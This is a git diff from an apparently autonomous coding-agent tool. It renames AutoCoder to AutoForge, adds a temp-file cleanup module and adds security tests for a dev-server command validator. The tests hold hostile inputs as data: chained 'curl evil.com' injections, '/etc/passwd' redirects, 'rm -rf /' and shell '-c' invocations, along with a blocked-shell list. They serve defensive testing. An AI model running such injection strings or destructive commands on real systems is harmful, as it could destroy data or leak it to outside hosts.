||||
# Start FastAPI
|
||||
backend = subprocess.Popen([
|
||||
@@ -297,7 +297,7 @@ def start_production_server(port: int, host: str = "127.0.0.1"):
|
||||
|
||||
# Enable remote access in server if not localhost
|
||||
if host != "127.0.0.1":
|
||||
env["AUTOCODER_ALLOW_REMOTE"] = "1"
|
||||
env["AUTOFORGE_ALLOW_REMOTE"] = "1"
|
||||
|
||||
# NOTE: --reload is NOT used because on Windows it breaks asyncio subprocess
|
||||
# support (uvicorn's reload worker doesn't inherit the ProactorEventLoop policy).
|
||||
@@ -313,7 +313,7 @@ def start_production_server(port: int, host: str = "127.0.0.1"):
|
||||
|
||||
def main() -> None:
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(description="AutoCoder UI Launcher")
|
||||
parser = argparse.ArgumentParser(description="AutoForge UI Launcher")
|
||||
parser.add_argument("--dev", action="store_true", help="Run in development mode with Vite hot reload")
|
||||
parser.add_argument("--host", default="127.0.0.1", help="Host to bind to (default: 127.0.0.1)")
|
||||
parser.add_argument("--port", type=int, default=None, help="Port to bind to (default: auto-detect from 8888)")
|
||||
@@ -328,7 +328,7 @@ def main() -> None:
|
||||
print(" SECURITY WARNING")
|
||||
print("!" * 50)
|
||||
print(f" Remote access enabled on host: {host}")
|
||||
print(" The AutoCoder UI will be accessible from other machines.")
|
||||
print(" The AutoForge UI will be accessible from other machines.")
|
||||
print(" Ensure you understand the security implications:")
|
||||
print(" - The agent has file system access to project directories")
|
||||
print(" - The API can start/stop agents and modify files")
|
||||
@@ -336,7 +336,7 @@ def main() -> None:
|
||||
print("!" * 50 + "\n")
|
||||
|
||||
print("=" * 50)
|
||||
print(" AutoCoder UI Setup")
|
||||
print(" AutoForge UI Setup")
|
||||
print("=" * 50)
|
||||
|
||||
total_steps = 6 if not dev_mode else 5
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
#!/bin/bash
|
||||
cd "$(dirname "$0")"
|
||||
# AutoCoder UI Launcher for Unix/Linux/macOS
|
||||
# AutoForge UI Launcher for Unix/Linux/macOS
|
||||
# This script launches the web UI for the autonomous coding agent.
|
||||
|
||||
echo ""
|
||||
echo "===================================="
|
||||
echo " AutoCoder UI"
|
||||
echo " AutoForge UI"
|
||||
echo "===================================="
|
||||
echo ""
|
||||
|
||||
|
||||
148
temp_cleanup.py
Normal file
148
temp_cleanup.py
Normal file
@@ -0,0 +1,148 @@
|
||||
"""
|
||||
Temp Cleanup Module
|
||||
===================
|
||||
|
||||
Cleans up stale temporary files and directories created by AutoForge agents,
|
||||
Playwright, Node.js, and other development tools.
|
||||
|
||||
Called at Maestro (orchestrator) startup to prevent temp folder bloat.
|
||||
|
||||
Why this exists:
|
||||
- Playwright creates browser profiles and artifacts in %TEMP%
|
||||
- Node.js creates .node cache files (~7MB each, can accumulate to GBs)
|
||||
- MongoDB Memory Server downloads binaries to temp
|
||||
- These are never cleaned up automatically
|
||||
|
||||
When cleanup runs:
|
||||
- At Maestro startup (when you click Play or auto-restart after rate limits)
|
||||
- Only files/folders older than 1 hour are deleted (safe for running processes)
|
||||
"""
|
||||
|
||||
import logging
|
||||
import shutil
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Max age in seconds before a temp item is considered stale (1 hour)
|
||||
MAX_AGE_SECONDS = 3600
|
||||
|
||||
# Directory patterns to clean up (glob patterns)
|
||||
DIR_PATTERNS = [
|
||||
"playwright_firefoxdev_profile-*", # Playwright Firefox profiles
|
||||
"playwright-artifacts-*", # Playwright test artifacts
|
||||
"playwright-transform-cache", # Playwright transform cache
|
||||
"mongodb-memory-server*", # MongoDB Memory Server binaries
|
||||
"ng-*", # Angular CLI temp directories
|
||||
"scoped_dir*", # Chrome/Chromium temp directories
|
||||
]
|
||||
|
||||
# File patterns to clean up (glob patterns)
|
||||
FILE_PATTERNS = [
|
||||
".78912*.node", # Node.js native module cache (major space consumer, ~7MB each)
|
||||
"claude-*-cwd", # Claude CLI working directory temp files
|
||||
"mat-debug-*.log", # Material/Angular debug logs
|
||||
]
|
||||
|
||||
|
||||
def cleanup_stale_temp(max_age_seconds: int = MAX_AGE_SECONDS) -> dict:
|
||||
"""
|
||||
Clean up stale temporary files and directories.
|
||||
|
||||
Only deletes items older than max_age_seconds to avoid
|
||||
interfering with currently running processes.
|
||||
|
||||
Args:
|
||||
max_age_seconds: Maximum age in seconds before an item is deleted.
|
||||
Defaults to 1 hour (3600 seconds).
|
||||
|
||||
Returns:
|
||||
Dictionary with cleanup statistics:
|
||||
- dirs_deleted: Number of directories deleted
|
||||
- files_deleted: Number of files deleted
|
||||
- bytes_freed: Approximate bytes freed
|
||||
- errors: List of error messages (for debugging, not fatal)
|
||||
"""
|
||||
temp_dir = Path(tempfile.gettempdir())
|
||||
cutoff_time = time.time() - max_age_seconds
|
||||
|
||||
stats = {
|
||||
"dirs_deleted": 0,
|
||||
"files_deleted": 0,
|
||||
"bytes_freed": 0,
|
||||
"errors": [],
|
||||
}
|
||||
|
||||
# Clean up directories
|
||||
for pattern in DIR_PATTERNS:
|
||||
for item in temp_dir.glob(pattern):
|
||||
if not item.is_dir():
|
||||
continue
|
||||
try:
|
||||
mtime = item.stat().st_mtime
|
||||
if mtime < cutoff_time:
|
||||
size = _get_dir_size(item)
|
||||
shutil.rmtree(item, ignore_errors=True)
|
||||
if not item.exists():
|
||||
stats["dirs_deleted"] += 1
|
||||
stats["bytes_freed"] += size
|
||||
logger.debug(f"Deleted temp directory: {item}")
|
||||
except Exception as e:
|
||||
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||
logger.debug(f"Failed to delete {item}: {e}")
|
||||
|
||||
# Clean up files
|
||||
for pattern in FILE_PATTERNS:
|
||||
for item in temp_dir.glob(pattern):
|
||||
if not item.is_file():
|
||||
continue
|
||||
try:
|
||||
mtime = item.stat().st_mtime
|
||||
if mtime < cutoff_time:
|
||||
size = item.stat().st_size
|
||||
item.unlink(missing_ok=True)
|
||||
if not item.exists():
|
||||
stats["files_deleted"] += 1
|
||||
stats["bytes_freed"] += size
|
||||
logger.debug(f"Deleted temp file: {item}")
|
||||
except Exception as e:
|
||||
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||
logger.debug(f"Failed to delete {item}: {e}")
|
||||
|
||||
# Log summary if anything was cleaned
|
||||
if stats["dirs_deleted"] > 0 or stats["files_deleted"] > 0:
|
||||
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||
logger.info(
|
||||
f"Temp cleanup: {stats['dirs_deleted']} dirs, "
|
||||
f"{stats['files_deleted']} files, {mb_freed:.1f} MB freed"
|
||||
)
|
||||
|
||||
return stats
|
||||
|
||||
|
||||
def _get_dir_size(path: Path) -> int:
|
||||
"""Get total size of a directory in bytes."""
|
||||
total = 0
|
||||
try:
|
||||
for item in path.rglob("*"):
|
||||
if item.is_file():
|
||||
try:
|
||||
total += item.stat().st_size
|
||||
except (OSError, PermissionError):
|
||||
pass
|
||||
except (OSError, PermissionError):
|
||||
pass
|
||||
return total
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Allow running directly for testing/manual cleanup
|
||||
logging.basicConfig(level=logging.DEBUG)
|
||||
print("Running temp cleanup...")
|
||||
stats = cleanup_stale_temp()
|
||||
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||
print(f"Cleanup complete: {stats['dirs_deleted']} dirs, {stats['files_deleted']} files, {mb_freed:.1f} MB freed")
|
||||
if stats["errors"]:
|
||||
print(f"Errors (non-fatal): {len(stats['errors'])}")
|
||||
319
test_devserver_security.py
Normal file
319
test_devserver_security.py
Normal file
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Dev Server Security Tests
|
||||
=========================
|
||||
|
||||
Tests for dev server command validation and security hardening.
|
||||
Run with: python -m pytest test_devserver_security.py -v
|
||||
"""
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
# Add project root to path
|
||||
sys.path.insert(0, str(Path(__file__).parent))
|
||||
|
||||
from server.routers.devserver import (
|
||||
ALLOWED_NPM_SCRIPTS,
|
||||
ALLOWED_PYTHON_MODULES,
|
||||
ALLOWED_RUNNERS,
|
||||
BLOCKED_SHELLS,
|
||||
validate_custom_command_strict,
|
||||
)
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Valid commands
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestValidCommands:
|
||||
"""Commands that should pass validation."""
|
||||
|
||||
def test_npm_run_dev(self):
|
||||
validate_custom_command_strict("npm run dev")
|
||||
|
||||
def test_npm_run_start(self):
|
||||
validate_custom_command_strict("npm run start")
|
||||
|
||||
def test_npm_run_serve(self):
|
||||
validate_custom_command_strict("npm run serve")
|
||||
|
||||
def test_npm_run_preview(self):
|
||||
validate_custom_command_strict("npm run preview")
|
||||
|
||||
def test_pnpm_dev(self):
|
||||
validate_custom_command_strict("pnpm dev")
|
||||
|
||||
def test_pnpm_run_dev(self):
|
||||
validate_custom_command_strict("pnpm run dev")
|
||||
|
||||
def test_yarn_start(self):
|
||||
validate_custom_command_strict("yarn start")
|
||||
|
||||
def test_yarn_run_serve(self):
|
||||
validate_custom_command_strict("yarn run serve")
|
||||
|
||||
def test_uvicorn_basic(self):
|
||||
validate_custom_command_strict("uvicorn main:app")
|
||||
|
||||
def test_uvicorn_with_flags(self):
|
||||
validate_custom_command_strict("uvicorn main:app --host 0.0.0.0 --port 8000 --reload")
|
||||
|
||||
def test_uvicorn_flag_equals_syntax(self):
|
||||
validate_custom_command_strict("uvicorn main:app --port=8000 --host=0.0.0.0")
|
||||
|
||||
def test_python_m_uvicorn(self):
|
||||
validate_custom_command_strict("python -m uvicorn main:app --reload")
|
||||
|
||||
def test_python3_m_uvicorn(self):
|
||||
validate_custom_command_strict("python3 -m uvicorn main:app")
|
||||
|
||||
def test_python_m_flask(self):
|
||||
validate_custom_command_strict("python -m flask run")
|
||||
|
||||
def test_python_m_gunicorn(self):
|
||||
validate_custom_command_strict("python -m gunicorn main:app")
|
||||
|
||||
def test_python_m_http_server(self):
|
||||
validate_custom_command_strict("python -m http.server 8000")
|
||||
|
||||
def test_python_script(self):
|
||||
validate_custom_command_strict("python app.py")
|
||||
|
||||
def test_python_manage_py_runserver(self):
|
||||
validate_custom_command_strict("python manage.py runserver")
|
||||
|
||||
def test_python_manage_py_runserver_with_port(self):
|
||||
validate_custom_command_strict("python manage.py runserver 0.0.0.0:8000")
|
||||
|
||||
def test_flask_run(self):
|
||||
validate_custom_command_strict("flask run")
|
||||
|
||||
def test_flask_run_with_options(self):
|
||||
validate_custom_command_strict("flask run --host 0.0.0.0 --port 5000")
|
||||
|
||||
def test_poetry_run_command(self):
|
||||
validate_custom_command_strict("poetry run python app.py")
|
||||
|
||||
def test_cargo_run(self):
|
||||
# cargo is allowed but has no special sub-validation
|
||||
validate_custom_command_strict("cargo run")
|
||||
|
||||
def test_go_run(self):
|
||||
# go is allowed but has no special sub-validation
|
||||
validate_custom_command_strict("go run .")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Blocked shells
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestBlockedShells:
|
||||
"""Shell interpreters that must be rejected."""
|
||||
|
||||
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"])
|
||||
def test_blocked_shell(self, shell):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict(f"{shell} -c 'echo hacked'")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Blocked commands
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestBlockedCommands:
|
||||
"""Commands that should be rejected."""
|
||||
|
||||
def test_empty_command(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict("")
|
||||
|
||||
def test_whitespace_only(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict(" ")
|
||||
|
||||
def test_python_dash_c(self):
|
||||
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||
validate_custom_command_strict("python -c 'import os; os.system(\"rm -rf /\")'")
|
||||
|
||||
def test_python3_dash_c(self):
|
||||
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||
validate_custom_command_strict("python3 -c 'print(1)'")
|
||||
|
||||
def test_python_no_script_or_module(self):
|
||||
with pytest.raises(ValueError, match="must use"):
|
||||
validate_custom_command_strict("python --version")
|
||||
|
||||
def test_python_m_disallowed_module(self):
|
||||
with pytest.raises(ValueError, match="not allowed"):
|
||||
validate_custom_command_strict("python -m pip install something")
|
||||
|
||||
def test_unknown_runner(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("curl http://evil.com")
|
||||
|
||||
def test_rm_rf(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("rm -rf /")
|
||||
|
||||
def test_npm_arbitrary_script(self):
|
||||
with pytest.raises(ValueError, match="npm custom_command"):
|
||||
validate_custom_command_strict("npm run postinstall")
|
||||
|
||||
def test_npm_exec(self):
|
||||
with pytest.raises(ValueError, match="npm custom_command"):
|
||||
validate_custom_command_strict("npm exec evil-package")
|
||||
|
||||
def test_pnpm_arbitrary_script(self):
|
||||
with pytest.raises(ValueError, match="pnpm custom_command"):
|
||||
validate_custom_command_strict("pnpm run postinstall")
|
||||
|
||||
def test_yarn_arbitrary_script(self):
|
||||
with pytest.raises(ValueError, match="yarn custom_command"):
|
||||
validate_custom_command_strict("yarn run postinstall")
|
||||
|
||||
def test_uvicorn_no_app(self):
|
||||
with pytest.raises(ValueError, match="must specify an app"):
|
||||
validate_custom_command_strict("uvicorn --reload")
|
||||
|
||||
def test_uvicorn_disallowed_flag(self):
|
||||
with pytest.raises(ValueError, match="flag not allowed"):
|
||||
validate_custom_command_strict("uvicorn main:app --factory")
|
||||
|
||||
def test_flask_no_run(self):
|
||||
with pytest.raises(ValueError, match="flask custom_command"):
|
||||
validate_custom_command_strict("flask shell")
|
||||
|
||||
def test_poetry_no_run(self):
|
||||
with pytest.raises(ValueError, match="poetry custom_command"):
|
||||
validate_custom_command_strict("poetry install")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# validate_custom_command_strict - Injection attempts
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestInjectionAttempts:
|
||||
"""Adversarial inputs that attempt to bypass validation."""
|
||||
|
||||
def test_shell_via_path_traversal(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("/bin/sh -c 'echo hacked'")
|
||||
|
||||
def test_shell_via_relative_path(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("../../bin/bash -c whoami")
|
||||
|
||||
def test_none_input(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict(None) # type: ignore[arg-type]
|
||||
|
||||
def test_integer_input(self):
|
||||
with pytest.raises(ValueError, match="cannot be empty"):
|
||||
validate_custom_command_strict(123) # type: ignore[arg-type]
|
||||
|
||||
def test_python_dash_c_uppercase(self):
|
||||
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||
validate_custom_command_strict("python -C 'exec(evil)'")
|
||||
|
||||
def test_powershell_via_path(self):
|
||||
with pytest.raises(ValueError, match="runner not allowed"):
|
||||
validate_custom_command_strict("C:\\Windows\\System32\\powershell.exe -c Get-Process")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# dev_server_manager.py - dangerous_ops blocking
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestDangerousOpsBlocking:
|
||||
"""Test the metacharacter blocking in dev_server_manager.start()."""
|
||||
|
||||
@pytest.fixture
|
||||
def manager(self, tmp_path):
|
||||
from server.services.dev_server_manager import DevServerProcessManager
|
||||
return DevServerProcessManager("test-project", tmp_path)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("cmd,desc", [
|
||||
("npm run dev && curl evil.com", "double ampersand"),
|
||||
("npm run dev & curl evil.com", "single ampersand"),
|
||||
("npm run dev || curl evil.com", "double pipe"),
|
||||
("npm run dev | curl evil.com", "single pipe"),
|
||||
("npm run dev ; curl evil.com", "semicolon"),
|
||||
("npm run dev `curl evil.com`", "backtick"),
|
||||
("npm run dev $(curl evil.com)", "dollar paren"),
|
||||
("npm run dev > /etc/passwd", "output redirect"),
|
||||
("npm run dev < /etc/passwd", "input redirect"),
|
||||
("npm run dev ^& calc", "caret escape"),
|
||||
("npm run %COMSPEC%", "percent env expansion"),
|
||||
])
|
||||
async def test_blocks_shell_operator(self, manager, cmd, desc):
|
||||
success, message = await manager.start(cmd)
|
||||
assert not success, f"Should block {desc}: {cmd}"
|
||||
assert "not allowed" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_newline_injection(self, manager):
|
||||
success, message = await manager.start("npm run dev\ncurl evil.com")
|
||||
assert not success
|
||||
assert "newline" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_carriage_return(self, manager):
|
||||
success, message = await manager.start("npm run dev\r\ncurl evil.com")
|
||||
assert not success
|
||||
assert "newline" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh"])
|
||||
async def test_blocks_shell_runners(self, manager, shell):
|
||||
success, message = await manager.start(f"{shell} -c 'echo hacked'")
|
||||
assert not success
|
||||
assert "not allowed" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_empty_command(self, manager):
|
||||
success, message = await manager.start("")
|
||||
assert not success
|
||||
assert "empty" in message.lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_whitespace_command(self, manager):
|
||||
success, message = await manager.start(" ")
|
||||
assert not success
|
||||
assert "empty" in message.lower()
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Constants validation
|
||||
# =============================================================================
|
||||
|
||||
|
||||
class TestConstants:
|
||||
"""Verify security constants are properly defined."""
|
||||
|
||||
def test_all_common_shells_blocked(self):
|
||||
for shell in ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"]:
|
||||
assert shell in BLOCKED_SHELLS, f"{shell} should be in BLOCKED_SHELLS"
|
||||
|
||||
def test_common_npm_scripts_allowed(self):
|
||||
for script in ["dev", "start", "serve", "preview"]:
|
||||
assert script in ALLOWED_NPM_SCRIPTS, f"{script} should be in ALLOWED_NPM_SCRIPTS"
|
||||
|
||||
def test_common_python_modules_allowed(self):
|
||||
for mod in ["uvicorn", "flask", "gunicorn"]:
|
||||
assert mod in ALLOWED_PYTHON_MODULES, f"{mod} should be in ALLOWED_PYTHON_MODULES"
|
||||
|
||||
def test_common_runners_allowed(self):
|
||||
for runner in ["npm", "pnpm", "yarn", "python", "python3", "uvicorn", "flask", "cargo", "go"]:
|
||||
assert runner in ALLOWED_RUNNERS, f"{runner} should be in ALLOWED_RUNNERS"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
pytest.main([__file__, "-v"])
|
||||
@@ -273,11 +273,11 @@ def test_yaml_loading():
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
project_dir = Path(tmpdir)
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
|
||||
# Test 1: Valid YAML
|
||||
config_path = autocoder_dir / "allowed_commands.yaml"
|
||||
config_path = autoforge_dir / "allowed_commands.yaml"
|
||||
config_path.write_text("""version: 1
|
||||
commands:
|
||||
- name: swift
|
||||
@@ -297,7 +297,7 @@ commands:
|
||||
failed += 1
|
||||
|
||||
# Test 2: Missing file returns None
|
||||
(project_dir / ".autocoder" / "allowed_commands.yaml").unlink()
|
||||
(project_dir / ".autoforge" / "allowed_commands.yaml").unlink()
|
||||
config = load_project_commands(project_dir)
|
||||
if config is None:
|
||||
print(" PASS: Missing file returns None")
|
||||
@@ -407,11 +407,11 @@ def test_project_commands():
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
project_dir = Path(tmpdir)
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
|
||||
# Create a config with Swift commands
|
||||
config_path = autocoder_dir / "allowed_commands.yaml"
|
||||
config_path = autoforge_dir / "allowed_commands.yaml"
|
||||
config_path.write_text("""version: 1
|
||||
commands:
|
||||
- name: swift
|
||||
@@ -482,7 +482,7 @@ def test_org_config_loading():
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
# Use temporary_home for cross-platform compatibility
|
||||
with temporary_home(tmpdir):
|
||||
org_dir = Path(tmpdir) / ".autocoder"
|
||||
org_dir = Path(tmpdir) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -576,7 +576,7 @@ def test_hierarchy_resolution():
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
# Use temporary_home for cross-platform compatibility
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -593,9 +593,9 @@ blocked_commands:
|
||||
""")
|
||||
|
||||
project_dir = Path(tmpproject)
|
||||
project_autocoder = project_dir / ".autocoder"
|
||||
project_autocoder.mkdir()
|
||||
project_config = project_autocoder / "allowed_commands.yaml"
|
||||
project_autoforge = project_dir / ".autoforge"
|
||||
project_autoforge.mkdir()
|
||||
project_config = project_autoforge / "allowed_commands.yaml"
|
||||
|
||||
# Create project config
|
||||
project_config.write_text("""version: 1
|
||||
@@ -660,7 +660,7 @@ def test_org_blocklist_enforcement():
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
# Use temporary_home for cross-platform compatibility
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -671,8 +671,8 @@ blocked_commands:
|
||||
""")
|
||||
|
||||
project_dir = Path(tmpproject)
|
||||
project_autocoder = project_dir / ".autocoder"
|
||||
project_autocoder.mkdir()
|
||||
project_autoforge = project_dir / ".autoforge"
|
||||
project_autoforge.mkdir()
|
||||
|
||||
# Try to use terraform (should be blocked)
|
||||
input_data = {"tool_name": "Bash", "tool_input": {"command": "terraform apply"}}
|
||||
@@ -735,7 +735,7 @@ def test_pkill_extensibility():
|
||||
with tempfile.TemporaryDirectory() as tmphome:
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -762,9 +762,9 @@ pkill_processes:
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
with temporary_home(tmphome):
|
||||
project_dir = Path(tmpproject)
|
||||
project_autocoder = project_dir / ".autocoder"
|
||||
project_autocoder.mkdir()
|
||||
project_config = project_autocoder / "allowed_commands.yaml"
|
||||
project_autoforge = project_dir / ".autoforge"
|
||||
project_autoforge.mkdir()
|
||||
project_config = project_autoforge / "allowed_commands.yaml"
|
||||
|
||||
# Create project config with extra pkill processes
|
||||
project_config.write_text("""version: 1
|
||||
@@ -804,7 +804,7 @@ pkill_processes:
|
||||
with tempfile.TemporaryDirectory() as tmphome:
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -829,7 +829,7 @@ pkill_processes:
|
||||
with tempfile.TemporaryDirectory() as tmphome:
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -851,7 +851,7 @@ pkill_processes:
|
||||
with tempfile.TemporaryDirectory() as tmphome:
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
@@ -875,7 +875,7 @@ pkill_processes:
|
||||
with tempfile.TemporaryDirectory() as tmphome:
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
org_config_path = org_dir / "config.yaml"
|
||||
|
||||
|
||||
@@ -79,9 +79,9 @@ def test_blocked_command_via_hook():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create minimal project structure
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||
"version: 1\ncommands: []"
|
||||
)
|
||||
|
||||
@@ -114,9 +114,9 @@ def test_allowed_command_via_hook():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create minimal project structure
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||
"version: 1\ncommands: []"
|
||||
)
|
||||
|
||||
@@ -145,9 +145,9 @@ def test_non_allowed_command_via_hook():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create minimal project structure
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text(
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text(
|
||||
"version: 1\ncommands: []"
|
||||
)
|
||||
|
||||
@@ -179,9 +179,9 @@ def test_project_config_allows_command():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create project config with swift allowed
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||
commands:
|
||||
- name: swift
|
||||
description: Swift compiler
|
||||
@@ -214,9 +214,9 @@ def test_pattern_matching():
|
||||
project_dir = Path(tmpdir)
|
||||
|
||||
# Create project config with swift* pattern
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||
commands:
|
||||
- name: swift*
|
||||
description: All Swift tools
|
||||
@@ -247,7 +247,7 @@ def test_org_blocklist_enforcement():
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
# Use context manager to safely set and restore HOME
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
(org_dir / "config.yaml").write_text("""version: 1
|
||||
allowed_commands: []
|
||||
@@ -257,11 +257,11 @@ blocked_commands:
|
||||
""")
|
||||
|
||||
project_dir = Path(tmpproject)
|
||||
autocoder_dir = project_dir / ".autocoder"
|
||||
autocoder_dir.mkdir()
|
||||
autoforge_dir = project_dir / ".autoforge"
|
||||
autoforge_dir.mkdir()
|
||||
|
||||
# Try to allow terraform in project config (should fail - org blocked)
|
||||
(autocoder_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||
(autoforge_dir / "allowed_commands.yaml").write_text("""version: 1
|
||||
commands:
|
||||
- name: terraform
|
||||
description: Infrastructure as code
|
||||
@@ -295,7 +295,7 @@ def test_org_allowlist_inheritance():
|
||||
with tempfile.TemporaryDirectory() as tmpproject:
|
||||
# Use context manager to safely set and restore HOME
|
||||
with temporary_home(tmphome):
|
||||
org_dir = Path(tmphome) / ".autocoder"
|
||||
org_dir = Path(tmphome) / ".autoforge"
|
||||
org_dir.mkdir()
|
||||
(org_dir / "config.yaml").write_text("""version: 1
|
||||
allowed_commands:
|
||||
@@ -305,9 +305,9 @@ blocked_commands: []
|
||||
""")
|
